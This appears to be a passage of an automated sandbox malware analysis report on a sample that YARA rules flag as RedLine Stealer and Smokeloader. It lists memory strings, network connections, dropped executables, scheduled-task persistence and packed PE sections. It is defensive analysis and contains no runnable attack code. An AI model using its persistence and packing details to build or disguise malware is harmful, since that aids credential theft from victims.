Source: firefox.exe, 0000001E.00000002.3100681543.00000270E234C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3011652184.00000270E2344000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3047918500.00000270D8B94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2999210432.00000270E4118000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3096588402.00000270E2065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2957174991.00000270CC674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3083929588.00000270DCB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031269537.00000270C9B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958156579.00000270CC674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958769374.00000270CC674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3069164464.00000270DB11C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3105314081.00000270E4003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958487375.00000270CC674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D614F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3263744904.00000277E8E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000001D.00000002.2958630660.0000014A6E160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: bdb44f72d9.exe, 0000001B.00000002.3336626547.0000000006678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account3
Source: firefox.exe, 0000001C.00000002.2952270255.00000158A7AC0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3030803173.00000270C9930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 0000001E.00000002.3030702011.00000270C98E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountH
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMIN_STATUS_ANIMATION_DURATION_createNoSyncedTabsElement
Source: firefox.exe, 0000001E.00000002.3034852957.00000270D6947000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3034852957.00000270D6800000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031858393.00000270CC685000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3263744904.00000277E8E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: bdb44f72d9.exe, 0000001B.00000002.3336626547.0000000006678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountV
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account_adoptBrowserFromOtherWindow
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account_shouldViewDownloadInternallygetCombined/overrideFnArray
Source: bdb44f72d9.exe, 0000001B.00000002.3286301463.000000000211A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounte
Source: bdb44f72d9.exe, 0000001B.00000002.3336626547.0000000006678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounti
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comZ
Source: firefox.exe, 0000001E.00000003.2999210432.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008852300.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001E.00000002.3071808582.00000270DB751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3019285727.00000270DC81C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3047918500.00000270D8B83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3081525186.00000270DC99B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001E.00000002.3081525186.00000270DC9C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49803 version: TLS 1.2

Source: bdb44f72d9.exe, 00000017.00000002.3285543354.0000000002243000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputDataU?DJ

memstr_ac73c3c2-6

Source: Yara match	File source: Process Memory Space: bdb44f72d9.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bdb44f72d9.exe PID: 3852, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000014.00000002.2765064487.000000000251D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000018.00000002.2900160849.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000018.00000002.2899758965.00000000025D2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2382041122.000000000248D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2382402163.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000014.00000002.2765545970.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000022.00000002.3056076605.00000000025B0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000022.00000002.3056668030.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Binary is likely a compiled AutoIt script file

Source: bdb44f72d9.exe, 00000017.00000002.3241866502.0000000000372000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b3a6889b-0
Source: bdb44f72d9.exe, 00000017.00000002.3241866502.0000000000372000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_5699a61b-7
Source: bdb44f72d9.exe, 0000001B.00000002.3241111543.0000000000372000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9e8ceaa3-b
Source: bdb44f72d9.exe, 0000001B.00000002.3241111543.0000000000372000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f0b13f88-9

PE file contains section with special chars

Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name:
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name: .idata
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name:
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name:
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name: .idata
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name:
Source: explorti.exe.5.dr	Static PE information: section name:
Source: explorti.exe.5.dr	Static PE information: section name: .idata
Source: explorti.exe.5.dr	Static PE information: section name:
Source: axplong.exe.8.dr	Static PE information: section name:
Source: axplong.exe.8.dr	Static PE information: section name: .idata
Source: axplong.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C60B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C60B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C60B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5AF280

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	File created: C:\Windows\Tasks\explorti.job			Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	File created: C:\Windows\Tasks\axplong.job			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A35A0	0_2_6C5A35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5440	0_2_6C5B5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61545C	0_2_6C61545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61542B	0_2_6C61542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5C10	0_2_6C5E5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2C10	0_2_6C5F2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61AC00	0_2_6C61AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4D0	0_2_6C5CD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B64C0	0_2_6C5B64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6CF0	0_2_6C5E6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD4E0	0_2_6C5AD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6034A0	0_2_6C6034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C4A0	0_2_6C60C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80	0_2_6C5B6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CED10	0_2_6C5CED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0512	0_2_6C5D0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFD00	0_2_6C5BFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0DD0	0_2_6C5E0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6085F0	0_2_6C6085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616E63	0_2_6C616E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C9E50	0_2_6C5C9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3E50	0_2_6C5E3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2E4E	0_2_6C5F2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4640	0_2_6C5C4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC670	0_2_6C5AC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7E10	0_2_6C5E7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609E30	0_2_6C609E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5600	0_2_6C5F5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6176E3	0_2_6C6176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ABEF0	0_2_6C5ABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFEF0	0_2_6C5BFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604EA0	0_2_6C604EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5E90	0_2_6C5C5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E680	0_2_6C60E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7710	0_2_6C5E7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9F00	0_2_6C5B9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6FF0	0_2_6C5D6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ADFE0	0_2_6C5ADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F77A0	0_2_6C5F77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8850	0_2_6C5C8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD850	0_2_6C5CD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EF070	0_2_6C5EF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7810	0_2_6C5B7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB820	0_2_6C5EB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4820	0_2_6C5F4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6150C7	0_2_6C6150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC0E0	0_2_6C5CC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E58E0	0_2_6C5E58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D60A0	0_2_6C5D60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B170	0_2_6C61B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CA940	0_2_6C5CA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB970	0_2_6C5FB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD960	0_2_6C5BD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5190	0_2_6C5E5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD9B0	0_2_6C5DD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602990	0_2_6C602990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC9A0	0_2_6C5AC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9A60	0_2_6C5E9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8AC0	0_2_6C5E8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1AF0	0_2_6C5C1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EE2F0	0_2_6C5EE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612AB0	0_2_6C612AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BCAB0	0_2_6C5BCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BA90	0_2_6C61BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22A0	0_2_6C5A22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4AA0	0_2_6C5D4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5340	0_2_6C5A5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC370	0_2_6C5BC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED320	0_2_6C5ED320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6153C8	0_2_6C6153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF380	0_2_6C5AF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65AC60	0_2_6C65AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72AC30	0_2_6C72AC30

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5DCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5E94D0 appears 90 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 2376

Source: file.exe, 00000000.00000000.1997247217.000000000244C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOdilesigo@ vs file.exe
Source: file.exe, 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2402174118.000000006C825000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000014.00000002.2765064487.000000000251D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000018.00000002.2900160849.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000018.00000002.2899758965.00000000025D2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2382041122.000000000248D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2382402163.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000014.00000002.2765545970.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000022.00000002.3056076605.00000000025B0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000022.00000002.3056668030.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: random[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0000533640710383
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: Section: cwtgiuyn ZLIB complexity 0.9942648984781278
